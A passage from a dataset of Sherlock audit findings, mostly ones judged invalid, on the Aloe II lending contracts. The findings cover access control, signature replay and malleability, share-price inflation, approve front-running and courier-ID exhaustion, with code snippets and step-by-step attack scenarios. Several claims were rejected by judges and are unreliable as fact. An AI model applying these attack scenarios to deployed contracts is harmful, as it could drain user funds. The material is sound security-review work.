authorized users can call the function and specify the beneficiary.\n\nBy adding these checks, you can prevent front-runners from manipulating the beneficiary address and ensure that the rewards are correctly distributed to the intended recipient.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/023.md"}} +{"title":"No access control","severity":"info","body":"Odd Aquamarine Sidewinder\n\nmedium\n\n# No access control\n## Summary\n\nThere is missing an access control mechanism in the pause fucntion of the Factory.sol\n\n## Vulnerability Detail\n\nIn the Factory.sol the pause function (in the emergency category) is an external function and it is missing access control like a modifier for who can call the function.While it may be rather unlikely that someone finds the the oracleseed and the pool interface ,incase it happens a malicious user could be able to pause any pool he finds out.\n\n## Impact\n\nAs stated before this is an unlikely event but if it happens and a malicious user can pause any pool it will have an impact on how the protocol works and also on the trust users have in the protocol\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L157-L164\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd either a modifier that allows certain users to call the function or add specific roles and require that only those specific roles can call the function using a require statement.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/022.md"}} +{"title":"Changing `to.onFlashLoan()` to `msg.sender.onFlashLoan() `","severity":"info","body":"Melted Charcoal Mantis\n\nmedium\n\n# Changing `to.onFlashLoan()` to `msg.sender.onFlashLoan() `\n## Summary\n\nThe existing implementation of the flash function in the protocol is potentially insecure. It allows any address to call the onFlashLoan callback on the recipient's side (to.onFlashLoan()), which can introduce security risks. If a user implements an insecure onFlashLoan function, it can be exploited by anyone, potentially leading to critical vulnerabilities. \n\n## Vulnerability Detail\nThe `Lender.flash()` function is designed to provide a flash loan to a recipient (to) by transferring a specified amount of assets.It calls the onFlashLoan function of the to address.\nCurrently, the protocol calls the to address's callback function directly within onFlashLoan. This design has a potential security vulnerability.\n\nIn this setup, if a user implements their own onFlashLoan function and it happens to be insecure, it could introduce significant security risks. An attacker could exploit this situation.\n```solidity\n function flash(uint256 amount, IFlashBorrower to, bytes calldata data) external {\n // Guard against reentrancy\n uint32 lastAccrualTime_ = lastAccrualTime;\n require(lastAccrualTime_ != 0, \"Aloe: locked\");\n lastAccrualTime = 0;\n\n ERC20 asset_ = asset();\n\n uint256 balance = asset_.balanceOf(address(this));\n asset_.safeTransfer(address(to), amount);\n to.onFlashLoan(msg.sender, amount, data);\n require(balance <= asset_.balanceOf(address(this)), \"Aloe: insufficient pre-pay\");\n\n lastAccrualTime = lastAccrualTime_;\n }\n```\n An analogous incident occurred with the [Primitive ](https://primitivefinance.medium.com/postmortem-on-the-primitive-finance-whitehack-of-february-21st-2021-17446c0f3122)project, specifically with the Uniswap V2 integration (in the uniswapV2Call function). The problem there was that the Primitive Connector code didn't verify the initiator of the flash-swap operation; it merely checked whether the callback came from Uniswap.\n\nTo mitigate this security concern, a safer approach would be to follow the [Uniswap V3](https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol#L808) model, where the protocol calls the msg.sender's callback function, which inherently verifies the initiator of the flash-swap operation. This would help prevent unauthorized or potentially malicious calls to the onFlashLoan function, enhancing the overall security of the protocol.\n```solidity\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external override lock noDelegateCall {\n uint128 _liquidity = liquidity;\n require(_liquidity > 0, 'L');\n\n uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e6);\n uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e6);\n uint256 balance0Before = balance0();\n uint256 balance1Before = balance1();\n\n if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0);\n if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1);\n\n IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data);\n\n```\n\n## Impact\n If a user implements their own onFlashLoan function and it happens to be insecure, it could introduce significant security risks. An attacker could exploit this situation\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L305\n## Tool used\n\nManual Review\n\n## Recommendation\nChanging `to.onFlashLoan()` to `msg.sender.onFlashLoan() `","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/021.md"}} +{"title":"Borrower.sol - Lack of access control","severity":"info","body":"Savory Laurel Urchin\n\nhigh\n\n# Borrower.sol - Lack of access control\n## Summary\nThe comments above this code specifies that these functions can only be called by the owner of the borrower contract but they lack access control\n## Vulnerability Detail\nBased on context, `Borrower.transfer`, `Borrower.withdrawAnte`, `Borrower.rescue ` , `Borrower.repay` and `Borrower.uniswapWithdraw` should be accessible by the owner only.\n\nHowever they all lack access control in the current implementation.\n## Impact\nAnyone can call this functions especially `Borrower.withdrawAnte` and `Borrower.rescue ` which can lead to lose of funds\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L396-L399\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L424-L426\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L380-L387\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L432-L435\n\n## Tool used\nManual Review\n\n## Recommendation\nadd `require(msg.sender == owner());`","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/020.md"}} +{"title":"Precision loss in Ledger.sol","severity":"info","body":"Radiant Rose Bat\n\nmedium\n\n# Precision loss in Ledger.sol\n## Summary\n\nPrecision loss vulnerability detected in the calculation of inventory within the Ledger smart contract.\n\n## Vulnerability Detail\n\nThe inventory calculation in the Ledger contract (found on line 207) involves integer division that can lead to significant precision loss under certain scenarios. Specifically, when the product of borrowBase and borrowIndex is divided by BORROWS_SCALER, any fractional results from this division operation are truncated, potentially leading to unintended inaccuracies in the determined inventory.\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L203\n\n## Impact\n\nEconomic Impact: Users interacting with the contract could face discrepancies in their calculated balances, possibly leading to financial losses.\n\nOperational Inefficiencies: Over time and with multiple transactions, the cumulative effect of this precision loss might lead to systemic imbalances within the contract's state.\n\n## Code Snippe\n\n```solidity\nfunction underlyingBalanceStored(address account) external view returns (uint256) {\n unchecked {\n // @follow-up unchecked -> can thishave precission lose\n uint256 inventory = lastBalance + (uint256(borrowBase) * borrowIndex) / BORROWS_SCALER;\n uint256 totalSupply_ = totalSupply;\n\n return _convertToAssets(_nominalShares(account, inventory, totalSupply_), inventory, totalSupply_, false);\n }\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUtilize Fixed-Point Arithmetic Libraries: Libraries such as ABDK Math 64.64 or similar can provide fixed-point arithmetic operations, which can help maintain precision throughout computations.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/019.md"}} +{"title":"The `rewardsToken` cannot be modified once it has been set","severity":"info","body":"Melted Charcoal Mantis\n\nmedium\n\n# The `rewardsToken` cannot be modified once it has been set\n## Summary\nThe function `Factory.governRewardsToken()` restricts the ability to set the rewardsToken to cases where address(rewardsToken) is equal to address(0). If there are security concerns related to the rewardsToken, the protocol won't have the capability to alter it.\n\n## Vulnerability Detail\nThe function `Factory.governRewardsToken()` allows the governor to set the rewards token used within the protocol, but this can only be done once, ensuring that the rewards token remains consistent and cannot be changed again once set.If there are security concerns related to the rewardsToken, the protocol won't have the capability to alter it.\n```solidity\n function governRewardsToken(ERC20 rewardsToken_) external {\n require(msg.sender == GOVERNOR && address(rewardsToken) == address(0));\n rewardsToken = rewardsToken_;\n }\n\n```\n## Impact\nIf there are security concerns related to the rewardsToken, the protocol won't have the capability to alter it.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L277-L280\n## Tool used\n\nManual Review\n\n## Recommendation\n It is recommended to incorporate a feature that allows for the modification of the rewardsToken to address potential security issues.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/017.md"}} +{"title":"Users may risk losing their funds","severity":"info","body":"Melted Charcoal Mantis\n\nhigh\n\n# Users may risk losing their funds\n## Summary\nwhen users accidentally transfer tokens into the protocol or employ multiple accounts to incrementally fund their wallets within the protocol, they may risk losing their funds\n\n## Vulnerability Detail\nWhen a user accidentally transfers tokens into the protocol or when a user employs multiple accounts to incrementally transfer funds into the protocol. For instance, if a user initially transfers 100 tokens using one account and subsequently calls the deposit() function to deposit an additional 200 tokens, the protocol would directly withdraw a total of 200 tokens from the user's address. This means that the 100 tokens previously transferred into the contract will still be present in the protocol.\n\nThis accumulated 100 tokens can be exploited by other users, and there are potential risks:\n\nUnintended Allocation: Subsequent users can take advantage of the 100 tokens that have accumulated within the protocol by using them to make deposits.\n\nMisuse of Accumulated Tokens: These accumulated tokens, in this case, the extra 100 tokens, are available in the protocol. Subsequent users can exploit this situation. For example, they can use the accumulated tokens to execute functions like flash(), transferring them to a borrower. Then, they can utilize the borrower to repay borrowed funds, potentially leading to imbalanced or unintended behavior within the protocol.\n```solidity\n ERC20 asset_ = asset();\n bool didPrepay = cache.lastBalance <= asset_.balanceOf(address(this));\n if (!didPrepay) {\n asset_.safeTransferFrom(msg.sender, address(this), amount);\n }\n\n```\n\n## Impact\nUsers may risk losing their funds\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L151\n## Tool used\n\nManual Review\n\n## Recommendation\nUse ` asset_.safeTransferFrom(msg.sender, address(this), cache.lastBalance - asset_.balanceOf(address(this))` instead of ` asset_.safeTransferFrom(msg.sender, address(this), amount)`","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/016.md"}} +{"title":"Limited ability to revert courier status in the protocol","severity":"info","body":"Melted Charcoal Mantis\n\nhigh\n\n# Limited ability to revert courier status in the protocol\n## Summary\nThe protocol's enrollCourier function allows users to designate themselves as couriers by setting isCourier[msg.sender] to true, but it lacks a mechanism to revert this status to false. This creates a challenge for users who unintentionally mark themselves as couriers, as the claimRewards function restricts users with isCourier[msg.sender] set to true from claiming rewards. \n\n## Vulnerability Detail\nWithin the protocol, the enrollCourier function allows users to set isCourier[msg.sender] to true, designating them as couriers. However, there is no corresponding function or mechanism provided in the protocol to set isCourier[msg.sender] to false. This means that once a user mistakenly or intentionally sets their address as a courier using the enrollCourier function, they have limited options to revert this status.\n```solidity\nfunction enrollCourier(uint32 id, uint16 cut) external {\n // Requirements:\n // - `id != 0` because 0 is reserved as the no-courier case\n // - `cut != 0 && cut < 10_000` just means between 0 and 100%\n require(id != 0 && cut != 0 && cut < 10_000);\n // Once an `id` has been enrolled, its info can't be changed\n require(couriers[id].cut == 0);\n\n couriers[id] = Courier(msg.sender, cut);\n isCourier[msg.sender] = true;\n\n emit EnrollCourier(id, msg.sender, cut);\n }\n\n```\n\nThe problem arises when the user, now marked as a courier, wants to claim rewards through the claimRewards function. In this function, there is a validation check: require(!isCourier[msg.sender]), which ensures that users marked as couriers cannot claim rewards. Given that there is no mechanism to reset isCourier[msg.sender] to false, the user's address will forever be flagged as a courier, and they won't be able to claim rewards, even if they initially marked themselves as a courier unintentionally.\n```solidity\n function claimRewards(Lender[] calldata lenders, address beneficiary) external returns (uint256 earned) {\n // Couriers cannot claim rewards because the accounting isn't quite correct for them. Specifically, we\n // save gas by omitting a `Rewards.updateUserState` call for the courier in `Lender._burn`\n require(!isCourier[msg.sender]);\n\n unchecked {\n uint256 count = lenders.length;\n for (uint256 i = 0; i < count; i++) {\n // Make sure it is, in fact, a `Lender`\n require(peer[address(lenders[i])] != address(0));\n earned += lenders[i].claimRewards(msg.sender);\n }\n }\n\n rewardsToken.safeTransfer(beneficiary, earned);\n }\n\n\n```\n\n## Impact\nAs a result, users who mistakenly or intentionally set their address as a courier might face difficulties in claiming rewards unless they transfer their lender LP tokens to a different address. This limitation can lead to inconvenience and potential loss of rewards for affected users. \n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L254-L266\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L228-L243\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this issue, it may be advisable to implement a mechanism that allows users to opt out of the courier status or provide clear instructions on how to handle this situation.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/014.md"}} +{"title":"Signature replay attack","severity":"info","body":"Fun Currant Poodle\n\nhigh\n\n# Signature replay attack\n## Summary\nLender contract is vulnerable to signature replay attack.\n\n## Vulnerability Detail\n\n> On what chains are the smart contracts going to be deployed?\n> mainnet, Arbitrum, Optimism, Base\n\nAttacker is able to replay (re-use) a signature on different chains due to missing `chainID` in permit function.\n## Impact\n\nLoss of funds for owner (signature signer).\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Lender.sol#L348-L392\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Lender.sol#L335-L342\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding `chainID`","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/011.md"}} +{"title":"DEPOSIT WITH PERMIT CAN BE BROKEN WHEN USING TOKENS THAT DO NOT FOLLOW THE ERC2612 STANDARD","severity":"info","body":"Rare Violet Caribou\n\nmedium\n\n# DEPOSIT WITH PERMIT CAN BE BROKEN WHEN USING TOKENS THAT DO NOT FOLLOW THE ERC2612 STANDARD\n## Summary\nInconsistencies and unexpected behavior when interacting with non-conforming tokens.\n\n## Vulnerability Detail\n\nThe `permit()` function from ERC2616 standard is used in `lenders.sol`and it is used in the `depositWithPermit()` function in `Router.sol`, and proceeds with the assumption that the\noperation was successful, without verifying the outcome. However, certain\ntokens may not adhere to the IERC20Permit standard. For example, the DAI\nStablecoin utilizes a permit() function that deviates from the reference\nimplementation. This lack of verification may lead to inconsistencies\nand unexpected behavior when interacting with non-conforming tokens.\n\n# `DAI CODE`\n\n```solidity\npragma solidity =0.5.12;\n\n contract Dai is LibNote {\n\n // --- Approve by signature ---\n function permit ( address holder , address spender , uint256 nonce, uint256 expiry ,bool allowed , uint8 v , bytes32 r , bytes32 s) external\n {\n bytes32 digest =\n keccak256 ( abi . encodePacked (\n \"\\ x19 \\ x01 \" ,\n DOMAIN_SEPARATOR ,\n keccak256 ( abi . encode ( PERMIT_TYPEHASH ,\n holder ,\n spender ,\n nonce ,\n expiry ,\n allowed ))\n ));\n\n require ( holder != address (0) , \" Dai / invalid - address -0 \");\n require ( holder == ecrecover ( digest , v , r , s) , \" Dai / invalid\në - permit \");\n require ( expiry == 0 || now <= expiry , \" Dai / permit - expired \"\në );\n require ( nonce == nonces [ holder ]++ , \" Dai / invalid - nonce \");\n uint wad = allowed ? uint ( -1) : 0;\n allowance [ holder ][ spender ] = wad ;\n emit Approval ( holder , spender , wad );\n }\n }\n```\n\n## Impact\nThis lack of verification may lead to inconsistencies\nand unexpected behavior when interacting with non-conforming tokens\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L348-L392\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/periphery/src/Router.sol#L19-L39\n## Tool used\n\nManual Review and solodit\nhttps://solodit.xyz/issues/mint-with-permit-can-be-broken-when-using-tokens-that-do-not-follow-the-erc2612-standard-halborn-none-moonwell-finance-contracts-v2-updates-security-assessment-pdf\n\n## Recommendation\nAdd proper verification to the permit() function call. After calling\nthe permit() function, ensure that the operation was successful before\nproceeding with the minting process.\n\nYou can also use `safePermit()` instead of `permit()`\n\nMoonwell finance had the same issue and they mitigated it using `safePermit()`","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/008.md"}} +{"title":".","severity":"info","body":"Rare Violet Caribou\n\nfalse\n\n# .","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/007.md"}} +{"title":"Signature malleability issue","severity":"info","body":"Melted Charcoal Mantis\n\nmedium\n\n# Signature malleability issue\n## Summary\nAn attacker can compute another corresponding [v,r,s] that will make this check pass due to the symmetrical nature of the elliptic curve.\n\n## Vulnerability Detail\nThe elliptic curve used in Ethereum for signatures is symmetrical, hence for every [v,r,s] there exists another [v,r,s] that returns the same valid result. Therefore two valid signatures exist which allows attackers to compute a valid signature without knowing the signer's private key. ecrecover() is vulnerable to signature malleability so it can be dangerous to use it directly.\nhttps://swcregistry.io/docs/SWC-117/\n```solidity\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external {\n require(deadline >= block.timestamp, \"Aloe: permit expired\");\n\n // Unchecked because the only math done is incrementing\n // the owner's nonce which cannot realistically overflow.\n unchecked {\n address recoveredAddress = ecrecover(\n keccak256(\n abi.encodePacked(\n \"\\x19\\x01\",\n DOMAIN_SEPARATOR(),\n keccak256(\n abi.encode(\n keccak256(\n \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\"\n ),\n owner,\n spender,\n value,\n nonces[owner]++,\n deadline\n )\n )\n )\n ),\n v,\n r,\n s\n );\n\n require(recoveredAddress != address(0) && recoveredAddress == owner, \"Aloe: permit invalid\");\n\n allowance[recoveredAddress][spender] = value;\n }\n\n emit Approval(owner, spender, value);\n }\n\n```\n\nAn attacker can compute another corresponding [v,r,s] that will make this check pass due to the symmetrical nature of the elliptic curve. The easiest way to prevent this issue is to use OpenZeppelin’s [ECDSA.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol) library and reading the comments above ECDSA's tryRecover() function provides very useful information on correctly implementing signature checks to prevent signature malleability vulnerabilities\n\n## Impact\nUsers may incur losses\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L362\n## Tool used\n\nManual Review\n\n## Recommendation\nThe easiest way to prevent this issue is to use OpenZeppelin’s [ECDSA.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol)","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/006.md"}} +{"title":"The user is unable to repay `maxRepay`","severity":"info","body":"Melted Charcoal Mantis\n\nmedium\n\n# The user is unable to repay `maxRepay`\n## Summary\nA malicious actor can front-run the `Lender.repay()` function by repaying a small amount of debt, preventing the user from repaying `maxRepay`.\n\n## Vulnerability Detail\nThe `Lender.repay()` function is susceptible to a front-running vulnerability, a hacker could strategically repay a small amount of their borrowings just before a user attempts to repay a larger sum. By doing so, the hacker could manipulate the system in a way that prevents the affected user from repaying the maximum amount (maxRepay) they intend to settle.\nHere's how the attack scenario unfolds:\nA malicious actor observes a user's intention to repay a significant amount of their borrowings, leading to a calculated maxRepay.\nThe attacker quickly initiates a transaction to repay a smaller amount just before the user's repayment transaction is processed.\nAs a result, the hacker's smaller repayment is processed first, which reduces the available borrow balance and changes the maxRepay value for the user.\nWhen the user's repayment transaction is executed, the maxRepay has already been reduced due to the hacker's earlier repayment. Consequently, the user is unable to repay the intended maximum amount, potentially causing financial inconvenience or disruption.\n```solidity\nfunction repay(uint256 amount, address beneficiary) external returns (uint256 units) {\n uint256 b = borrows[beneficiary];\n\n // Accrue interest and update reserves\n (Cache memory cache, ) = _load();\n\n unchecked {\n // Convert `amount` to `units`\n units = (amount * BORROWS_SCALER) / cache.borrowIndex;\n if (!(units < b)) {\n units = b - 1;\n\n uint256 maxRepay = (units * cache.borrowIndex).unsafeDivUp(BORROWS_SCALER);\n require(b > 1 && amount <= maxRepay, \"Aloe: repay too much\");\n }\n\n // Track borrows\n borrows[beneficiary] = b - units;\n cache.borrowBase -= units;\n }\n // Assume tokens are transferred\n cache.lastBalance += amount;\n\n // Save state to storage (thus far, only mappings have been updated, so we must address everything else)\n _save(cache, /* didChangeBorrowBase: */ true);\n\n // Ensure tokens are transferred\n require(cache.lastBalance <= asset().balanceOf(address(this)), \"Aloe: insufficient pre-pay\");\n\n emit Repay(msg.sender, beneficiary, amount, units);\n }\n\n```\n\n## Impact\nThis front-running vulnerability underscores the importance of implementing transaction-order-independent mechanisms to ensure the fairness and integrity of the system, especially in scenarios involving financial operations and settlements.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L257-L287\n## Tool used\n\nManual Review\n\n## Recommendation\nSimilar to the redeem function, when `amount == type(uint256).max`, set amount to `maxRepay`","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/005.md"}} +{"title":"Attacker can manipulate the pricePerShare to profit from future users' deposits","severity":"info","body":"Rare Violet Caribou\n\nhigh\n\n# Attacker can manipulate the pricePerShare to profit from future users' deposits\n## Summary\nBy manipulating and inflating the pricePerShare to a super high value, the attacker can cause all future depositors to lose a significant portion of their deposits to the attacker due to precision loss.\n## Vulnerability Detail\n\n## Impact\nERC4626 vault share price can be maliciously inflated on the initial deposit, leading to the next depositor losing assets due to precision issues.\n\nThe first depositor of an ERC4626 vault can maliciously manipulate the share price by depositing the lowest possible amount (1 wei) of liquidity and then artificially inflating ERC4626.totalAssets.\n\nThis can inflate the base share price as high as 1:1e18 early on, which force all subsequence deposit to use this share price as a base and worst case, due to rounding down, if this malicious initial deposit front-run someone else depositing, this depositor will receive 0 shares and lost his deposited assets.\n\nGiven a vault with DAI as the underlying asset:\n\nAlice (attacker) deposits initial liquidity of 1 wei DAI via deposit()\nAlice receives 1e18 (1 wei) vault shares\nAlice transfers 1 ether of DAI via transfer() to the vault to artificially inflate the asset balance without minting new shares. The asset balance is now 1 ether + 1 wei DAI -> vault share price is now very high (= 1000000000000000000001 wei ~ 1000 * 1e18)\nBob (victim) deposits 100 ether DAI\nBob receives 0 shares\nBob receives 0 shares due to a precision issue. His deposited funds are lost.\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L376\n## Tool used\n\nManual Review\n\n## Recommendation\nThis is a well-known issue, Uniswap and other protocols had similar issues when supply == 0.\n\nFor the first deposit, mint a fixed amount of shares, e.g. 10**decimals()","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/004.md"}} +{"title":"`approve()` and `transferFrom()` functions of Pool tokens are subject to front-run attack","severity":"info","body":"Melted Charcoal Mantis\n\nmedium\n\n# `approve()` and `transferFrom()` functions of Pool tokens are subject to front-run attack\n## Summary\n`approve()` and `transferFrom()` functions of Pool tokens are subject to front-run attack because the approve method overwrites the current allowance regardless of whether the spender already used it or not. In case the spender spent the amonut, the approve function will approve a new amount.\n## Vulnerability Detail\n\nThe `approve()` method overwrites the current allowance regardless of whether the spender already used it or not. It allows the spender to front-run and spend the amount before the new allowance is set.\n\nScenario:\n\nAlice allows Bob to transfer N of Alice's tokens (N>0) by calling the pool.approve method, passing the Bob's address and N as the method arguments\nAfter some time, Alice decides to change from N to M (M>0) the number of Alice's tokens Bob is allowed to transfer, so she calls the pool.approve method again, this time passing the Bob's address and M as the method arguments\nBob notices the Alice's second transaction before it was mined and quickly sends another transaction that calls the pool.transferFrom method to transfer N Alice's tokens somewhere\nIf the Bob's transaction will be executed before the Alice's transaction, then Bob will successfully transfer N Alice's tokens and will gain an ability to transfer another M tokens\nBefore Alice noticed that something went wrong, Bob calls the pool.transferFrom method again, this time to transfer M Alice's tokens.\nSo, an Alice's attempt to change the Bob's allowance from N to M (N>0 and M>0) made it possible for Bob to transfer N+M of Alice's tokens, while Alice never wanted to allow so many of her tokens to be transferred by Bob.\n\n## Impact\nIt can result in losing pool tokens of users when he approve pool tokens to any malicious account.\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L321-L327\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L335-L342\n## Tool used\n\nManual Review\n\n## Recommendation\nUse increaseAllowance and decreaseAllowance instead of approve as OpenZeppelin ERC20 implementation. Please see details here:\n\nhttps://forum.openzeppelin.com/t/explain-the-practical-use-of-increaseallowance-and-decreaseallowance-functions-on-erc20/15103/4","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/002.md"}} +{"title":"Dos attack on `enrollCourier()` function","severity":"info","body":"Melted Charcoal Mantis\n\nhigh\n\n# Dos attack on `enrollCourier()` function\n## Summary\n The id is of type uint32, and a security concern arises from the fact that malicious actors can repeatedly call this function,gradually consuming the available id values until the upper limit is reached.\n## Vulnerability Detail\nThe `Factory.enrollCourier()` function is used to register new couriers in the system.\n```solidity\nfunction enrollCourier(uint32 id, uint16 cut) external {\n // Requirements:\n // - `id != 0` because 0 is reserved as the no-courier case\n // - `cut != 0 && cut < 10_000` just means between 0 and 100%\n require(id != 0 && cut != 0 && cut < 10_000);\n // Once an `id` has been enrolled, its info can't be changed\n require(couriers[id].cut == 0);\n\n couriers[id] = Courier(msg.sender, cut);\n isCourier[msg.sender] = true;\n\n emit EnrollCourier(id, msg.sender, cut);\n }\n\n```\n The id is of type uint32, and a security concern arises from the fact that malicious actors can repeatedly call this function, gradually consuming the available id values until the upper limit is reached. Once the upper limit is reached, the function becomes inoperable and unable to register any more couriers.\n\n## Impact\nThis issue can result in a system where no new couriers can be registered, potentially causing disruptions in the system's functionality and rendering the enrollCourier function useless.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L254-L266\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUsing address as the key for couriers","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/001.md"}} +{"title":"Transferring an insufficient amount on `Lender.deposit` causes a `.transferFrom` of the full amount, without minting extra shares","severity":"medium","body":"Blunt Sky Gibbon\n\nmedium\n\n# Transferring an insufficient amount on `Lender.deposit` causes a `.transferFrom` of the full amount, without minting extra shares\n## Summary\nTransferring an insufficient amount on `Lender.deposit` causes a `.transferFrom`\nof the full amount, without minting extra shares\n\n## Vulnerability Detail\n\nconsider this test, added to `test/Lender.t.sol`\n\n```solidity\nfunction test_deposit_with_transferFrom() public returns (address alice) {\n alice = makeAddr(\"alice\");\n deal(address(asset), alice, 10000);\n hoax(alice, 1e18);\n asset.transfer(address(lender), 90);\n hoax(alice);\n asset.approve(address(lender), 10000);\n hoax(alice);\n uint256 shares = lender.deposit(100, alice);\n assertEq(shares, 100);\n assertEq(lender.totalSupply(), 100);\n assertEq(asset.balanceOf(alice), 9900);\n}\n```\n\nthe last assert would fail, since the protocol is minting 100 shares but\nreceived the first 90 of `asset` in the transfer, plus 100 more with the\n`transferFrom`, for a total reduction in alice's balance of 190.\n\nFurthermore, shares are only minted for the initially specified amount of 100,\nand this value could be captured by anyone (ie, if bob calls `deposit` with an\namount of 90, shares will be awarded to him at no cost)\n\n## Impact\n\nIt's worth noting that this is not a vector for sandwiching/front running since\nthe amount of `asset` to deposit into the contract, and not the amount of shares\nexpected in return, is what's passed as a parameter and determines the\n`transferFrom` amount. Therefore it's not possible to cause another account's\n`deposit` tx to have an insufficient transfer by executing an interest\naccrual before it.\n\nI'm still submitting this as a Medium because funds could definetely (but\nunlikely) be griefed from users, in a way that's easily mitigable by a change in\nthe protocol.\n\n## Code Snippet\n\n[from `src/Lender.sol`](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L151) line 149 onwards:\n```solidity\nbool didPrepay = cache.lastBalance <= 